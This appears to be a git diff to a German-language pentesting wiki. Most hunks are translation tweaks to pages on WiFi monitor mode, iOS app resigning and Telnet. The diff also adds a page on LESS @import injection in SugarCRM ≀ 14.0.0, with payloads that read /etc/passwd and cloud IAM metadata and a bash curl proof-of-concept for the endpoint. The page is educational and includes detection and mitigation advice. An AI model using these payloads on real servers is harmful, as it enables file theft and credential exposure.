diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 93b6e3273..b260a5217 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -544,6 +544,7 @@ # đŸ•žïž Pentesting Web +- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md) - [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) - [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) - [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md) diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md index 83d150bc0..abfb4175a 100644 --- a/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md +++ b/src/generic-methodologies-and-resources/pentesting-wifi/enable-nexmon-monitor-and-injection-on-android.md @@ -9,7 +9,7 @@ Diese Seite dokumentiert einen schnellen Workflow, der ein vollstĂ€ndig gepatcht * NexMon Magisk-Modul, das die gepatchte Firmware + `libnexmon.so` enthĂ€lt * Hijacker Android-Anwendung zur Automatisierung des Umschaltens des Monitor-Modus -* Optional Kali NetHunter chroot, um klassische drahtlose Tools (aircrack-ng, wifite, mdk4 
) direkt gegen die interne Schnittstelle auszufĂŒhren +* Optional Kali NetHunter Chroot, um klassische drahtlose Tools (aircrack-ng, wifite, mdk4 
) direkt gegen die interne Schnittstelle auszufĂŒhren Die gleiche Technik gilt fĂŒr jedes Handy, das einen öffentlich verfĂŒgbaren NexMon-Patch hat (Pixel 1, Nexus 6P, Galaxy S7/S8 usw.). @@ -22,8 +22,8 @@ Die gleiche Technik gilt fĂŒr jedes Handy, das einen öffentlich verfĂŒgbaren Ne * NexMon Magisk ZIP oder selbstkompilierten Patch, der bereitstellt: * `/system/lib*/libnexmon.so` * `/system/xbin/nexutil` -* Hijacker ≄ 1.7 (arm/arm64) – https://github.com/chrisk44/Hijacker -* (Optional) Kali NetHunter oder ein beliebiges Linux chroot, in dem Sie drahtlose Tools ausfĂŒhren möchten +* Hijacker ≄ 1.7 (arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker) +* (Optional) Kali NetHunter oder ein beliebiges Linux-Chroot, in dem Sie drahtlose Tools ausfĂŒhren möchten --- @@ -51,7 +51,7 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2 Disable monitor mode: nexutil -m0; svc wifi enable ``` -Aktivieren Sie „Monitor-Modus beim Start von airodump starten“, damit jeder Hijacker-Scan im nativen Monitor-Modus erfolgt (`wlan0` anstelle von `wlan0mon`). +Aktivieren Sie „Monitor-Modus beim Start von airodump starten“, damit jeder Hijacker-Scan im nativen Monitor-Modus (`wlan0` anstelle von `wlan0mon`) erfolgt. Wenn Hijacker beim Start Fehler anzeigt, erstellen Sie das erforderliche Verzeichnis im gemeinsamen Speicher und öffnen Sie die App erneut: ```bash @@ -60,10 +60,10 @@ mkdir -p /storage/emulated/0/Hijacker ### Was bedeuten diese `nexutil`-Flags? * **`-s0x613`** Schreibe Firmware-Variable 0x613 (FCAP_FRAME_INJECTION) → `1` (Aktivieren des TX von beliebigen Frames). * **`-i`** Setze das Interface in den Monitor-Modus (Radiotap-Header wird hinzugefĂŒgt). -* **`-v2`** Setze die AusfĂŒhrlichkeitsebene; `2` druckt BestĂ€tigung und Firmware-Version. +* **`-v2`** Setze die ausfĂŒhrliche Ebene; `2` druckt BestĂ€tigung und Firmware-Version. * **`-m0`** Stelle den verwalteten Modus wieder her (wird im *disable*-Befehl verwendet). -Nach dem AusfĂŒhren von *Enable monitor mode* solltest du das Interface im Monitor-Zustand sehen und in der Lage sein, rohe Frames mit: +Nachdem du *Monitor-Modus aktivieren* ausgefĂŒhrt hast, solltest du das Interface im Monitor-Zustand sehen und in der Lage sein, rohe Frames mit zu erfassen: ```bash airodump-ng --band abg wlan0 ``` diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index cce16596c..c33381dbe 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -31,7 +31,7 @@ Um sie zu installieren, entpacke einfach die IPA: ```bash unzip redacted.ipa -d unzipped ``` -ÜberprĂŒfen Sie die `Info.plist` auf die minimale unterstĂŒtzte Version, und wenn Ihr GerĂ€t Ă€lter ist als diese, Ă€ndern Sie den Wert, damit es unterstĂŒtzt wird. +ÜberprĂŒfen Sie die `Info.plist` auf die minimal unterstĂŒtzte Version und wenn Ihr GerĂ€t Ă€lter ist, Ă€ndern Sie den Wert, damit es unterstĂŒtzt wird. Zippen Sie die IPA zurĂŒck: ```bash @@ -47,13 +47,13 @@ Beachten Sie, dass Sie möglicherweise den **AppSync Unified tweak** von Cydia b Sobald installiert, können Sie den **Iridium tweak** von Cydia verwenden, um die entschlĂŒsselte IPA zu erhalten. -### Berechtigungen patchen & neu signieren +### Patch-Berechtigungen & Neuunterzeichnung -Um die Anwendung mit der Berechtigung `get-task-allow` neu zu signieren, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur VerfĂŒgung. `app-signer` hat eine sehr benutzerfreundliche OberflĂ€che, die es ermöglicht, eine IPA-Datei sehr einfach neu zu signieren, indem die zu signierende IPA, die **`get-taks-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden. +Um die Anwendung mit der Berechtigung `get-task-allow` neu zu unterzeichnen, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur VerfĂŒgung. `app-signer` hat eine sehr benutzerfreundliche OberflĂ€che, die es ermöglicht, eine IPA-Datei sehr einfach neu zu unterzeichnen, indem die zu unterzeichnende IPA, die **`get-taks-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden. BezĂŒglich des Zertifikats und der Signierungsprofile bietet Apple **kostenlose Entwickler-Signierungsprofile** fĂŒr alle Konten ĂŒber Xcode an. Erstellen Sie einfach eine App und konfigurieren Sie eine. Konfigurieren Sie dann das **iPhone, um den Entwickler-Apps zu vertrauen**, indem Sie zu `Einstellungen` → `Datenschutz & Sicherheit` navigieren und auf `Entwicklermodus` klicken. -Mit der neu signierten IPA ist es Zeit, sie auf dem GerĂ€t zu installieren, um sie zu pentesten: +Mit der neu unterzeichneten IPA ist es Zeit, sie auf dem GerĂ€t zu installieren, um sie zu pentesten: ```bash ideviceinstaller -i resigned.ipa -w ``` @@ -61,9 +61,9 @@ ideviceinstaller -i resigned.ipa -w ### Entwicklermodus aktivieren (iOS 16+) -Seit iOS 16 hat Apple den **Entwicklermodus** eingefĂŒhrt: Jede Binary, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, wird sich weigern zu starten, bis der Entwicklermodus auf dem GerĂ€t aktiviert ist. Sie können auch Frida/LLDB nicht anhĂ€ngen, es sei denn, dieses Flag ist aktiviert. +Seit iOS 16 hat Apple den **Entwicklermodus** eingefĂŒhrt: Jede BinĂ€rdatei, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, verweigert das Starten, bis der Entwicklermodus auf dem GerĂ€t aktiviert ist. Sie können auch Frida/LLDB nicht anhĂ€ngen, es sei denn, dieses Flag ist aktiviert. -1. Installieren oder pushen Sie **irgendeine** entwickler-signierte IPA auf das Telefon. +1. Installieren oder ĂŒbertragen Sie **irgendeine** entwickler-signierte IPA auf das Telefon. 2. Navigieren Sie zu **Einstellungen → Datenschutz & Sicherheit → Entwicklermodus** und aktivieren Sie ihn. 3. Das GerĂ€t wird neu gestartet; nach Eingabe des Passworts werden Sie aufgefordert, den Entwicklermodus **einzuschalten**. @@ -76,7 +76,7 @@ Es gibt jetzt mehrere ausgereifte Möglichkeiten, IPAs zu sideloaden und sie ohn | Tool | Anforderungen | StĂ€rken | EinschrĂ€nkungen | |------|--------------|-----------|-------------| | **AltStore 2 / SideStore** | macOS/Windows/Linux-BegleitgerĂ€t, das die IPA alle 7 Tage mit einem kostenlosen Entwicklerprofil neu signiert | Automatisches Nachladen ĂŒber Wi-Fi, funktioniert bis iOS 17 | Computer im selben Netzwerk erforderlich, 3-App-Limit von Apple auferlegt | -| **TrollStore 1/2** | GerĂ€t mit iOS 14 – 15.4.1, das anfĂ€llig fĂŒr den CoreTrust-Bug ist | *Dauerhafte* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstĂŒtzt auf iOS 15.5+ (Bug gepatcht) | +| **TrollStore 1/2** | GerĂ€t auf iOS 14 – 15.4.1, das anfĂ€llig fĂŒr den CoreTrust-Bug ist | *Permanente* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstĂŒtzt auf iOS 15.5+ (Bug gepatcht) | FĂŒr routinemĂ€ĂŸige Pentests auf aktuellen iOS-Versionen sind Alt/Side-Store in der Regel die praktischste Wahl. @@ -90,11 +90,11 @@ objection -g "com.example.target" explore # Or plain Frida frida -U -f com.example.target -l my_script.js --no-pause ``` -Neuere Frida-Versionen (>=16) behandeln automatisch die Zeiger-Authentifizierung und andere iOS 17-Minderungen, sodass die meisten vorhandenen Skripte sofort funktionieren. +Neuere Frida-Versionen (>=16) behandeln automatisch die Zeigerautorisierung und andere iOS 17-Minderungen, sodass die meisten vorhandenen Skripte sofort funktionieren. ### Automatisierte dynamische Analyse mit MobSF (kein Jailbreak) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kann eine von einem Entwickler signierte IPA auf einem echten GerĂ€t mit der gleichen Technik (`get_task_allow`) instrumentieren und bietet eine Web-UI mit Dateisystembrowser, Verkehrserfassung und Frida-Konsole【†L2-L3】. Der schnellste Weg ist, MobSF in Docker auszufĂŒhren und dann dein iPhone ĂŒber USB anzuschließen: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kann eine dev-signierte IPA auf einem echten GerĂ€t mit der gleichen Technik (`get_task_allow`) instrumentieren und bietet eine Web-UI mit Dateisystembrowser, Verkehrserfassung und Frida-Konsole【】. Der schnellste Weg ist, MobSF in Docker auszufĂŒhren und dann dein iPhone ĂŒber USB anzuschließen: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md index c4a2fb9eb..60c2ce4d2 100644 --- a/src/network-services-pentesting/pentesting-telnet.md +++ b/src/network-services-pentesting/pentesting-telnet.md @@ -104,7 +104,7 @@ Die meisten IoT-Botnets (Mirai-Varianten) scannen weiterhin Port 23 mit kleinen Metasploit hat mehrere nĂŒtzliche Module: -* `auxiliary/scanner/telnet/telnet_version` – Banner- & Optionsenumeration. +* `auxiliary/scanner/telnet/telnet_version` – Banner- und Optionsenumeration. * `auxiliary/scanner/telnet/brute_telnet` – Multithreaded Bruteforce. * `auxiliary/scanner/telnet/telnet_encrypt_overflow` – RCE gegen anfĂ€lliges Solaris 9/10 Telnet (Option ENCRYPT-Verarbeitung). * `exploit/linux/mips/netgear_telnetenable` – aktiviert den Telnet-Dienst mit einem gestalteten Paket auf vielen NETGEAR-Routern. @@ -123,4 +123,4 @@ Nachdem eine Shell erhalten wurde, denken Sie daran, dass **TTYs normalerweise d * D-Link Advisory – CVE-2024-45698 Kritische Telnet RCE. * NVD – CVE-2022-39028 inetutils `telnetd` DoS. -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/less-code-injection-ssrf.md b/src/pentesting-web/less-code-injection-ssrf.md new file mode 100644 index 000000000..a68a442ec --- /dev/null +++ b/src/pentesting-web/less-code-injection-ssrf.md @@ -0,0 +1,75 @@ +# LESS Code Injection, die zu SSRF & Local File Read fĂŒhrt + +{{#include ../banners/hacktricks-training.md}} + +## Übersicht + +LESS ist ein beliebter CSS-PrĂ€prozessor, der Variablen, Mixins, Funktionen und die leistungsstarke `@import`-Direktive hinzufĂŒgt. WĂ€hrend der Kompilierung wird die LESS-Engine **die in `@import`**-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option `(inline)` verwendet wird. + +Wenn eine Anwendung **benutzergesteuerte Eingaben** in einen String einfĂŒgt, der spĂ€ter vom LESS-Compiler geparst wird, kann ein Angreifer **willkĂŒrlichen LESS-Code** injizieren. Durch den Missbrauch von `@import (inline)` kann der Angreifer den Server zwingen, Folgendes abzurufen: + +* Lokale Dateien ĂŒber das `file://`-Protokoll (Informationsoffenlegung / Local File Inclusion). +* Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF). + +Diese Technik wurde in realen Produkten wie **SugarCRM ≀ 14.0.0** (`/rest/v10/css/preview`-Endpunkt) beobachtet. + +## Ausnutzung + +1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. `?lm=` in SugarCRM). +2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die hĂ€ufigsten Primitiven sind: +* `;` – beendet die vorherige Deklaration. +* `}` – schließt den vorherigen Block (falls erforderlich). +3. Verwenden Sie `@import (inline) '';`, um willkĂŒrliche Ressourcen zu lesen. +4. Optional können Sie einen **Marker** (`data:` URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern. + +### Local File Read +``` +1; @import (inline) 'file:///etc/passwd'; +@import (inline) 'data:text/plain,@@END@@'; // +``` +Der Inhalt von `/etc/passwd` wird in der HTTP-Antwort kurz vor dem `@@END@@` Marker angezeigt. + +### SSRF – Cloud-Metadaten +``` +1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/"; +@import (inline) 'data:text/plain,@@END@@'; // +``` +### Automatisierte PoC (SugarCRM-Beispiel) +```bash +#!/usr/bin/env bash +# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd + +TARGET="$1" # Base URL of SugarCRM instance +RESOURCE="$2" # file:// path or URL to fetch + +INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))") + +curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \ +sed -n 's/.*@@END@@\(.*\)/\1/p' +``` +## Detection + +* Suchen Sie nach dynamisch generierten `.less` oder `.css` Antworten, die unsanitized Query-Parameter enthalten. +* Durchsuchen Sie wĂ€hrend der Code-ÜberprĂŒfung nach Konstruktionen wie `"@media all { .preview { ... ${userInput} ... } }"` die an LESS-Renderfunktionen ĂŒbergeben werden. +* Exploit-Versuche enthalten oft `@import`, `(inline)`, `file://`, `http://169.254.169.254` usw. + +## Mitigations + +* Geben Sie **keine** untrusted Daten an den LESS-Compiler weiter. +* Wenn dynamische Werte erforderlich sind, **escapen**/sanitizen Sie diese ordnungsgemĂ€ĂŸ (z. B. auf numerische Tokens beschrĂ€nken, Whitelists). +* Deaktivieren Sie, wenn möglich, die Möglichkeit, `(inline)` Importe zu verwenden, oder beschrĂ€nken Sie die erlaubten Protokolle auf `https`. +* Halten Sie AbhĂ€ngigkeiten auf dem neuesten Stand – SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben. + +## Real-World Cases + +| Produkt | Verwundbarer Endpunkt | Auswirkung | +|---------|-----------------------|------------| +| SugarCRM ≀ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & lokale Dateilesen | + +## References + +* [SugarCRM ≀ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04) +* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/) +* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258) + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index bb86aa03c..d1a0fa289 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -4,4 +4,10 @@ ÜberprĂŒfen Sie **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** +- SugarCRM ≀ 14.0.0 – LESS `@import` Injection in `/rest/v10/css/preview` ermöglicht nicht authentifizierte SSRF & lokalen Datei-Lesezugriff. + +{{#ref}} +../less-code-injection-ssrf.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}}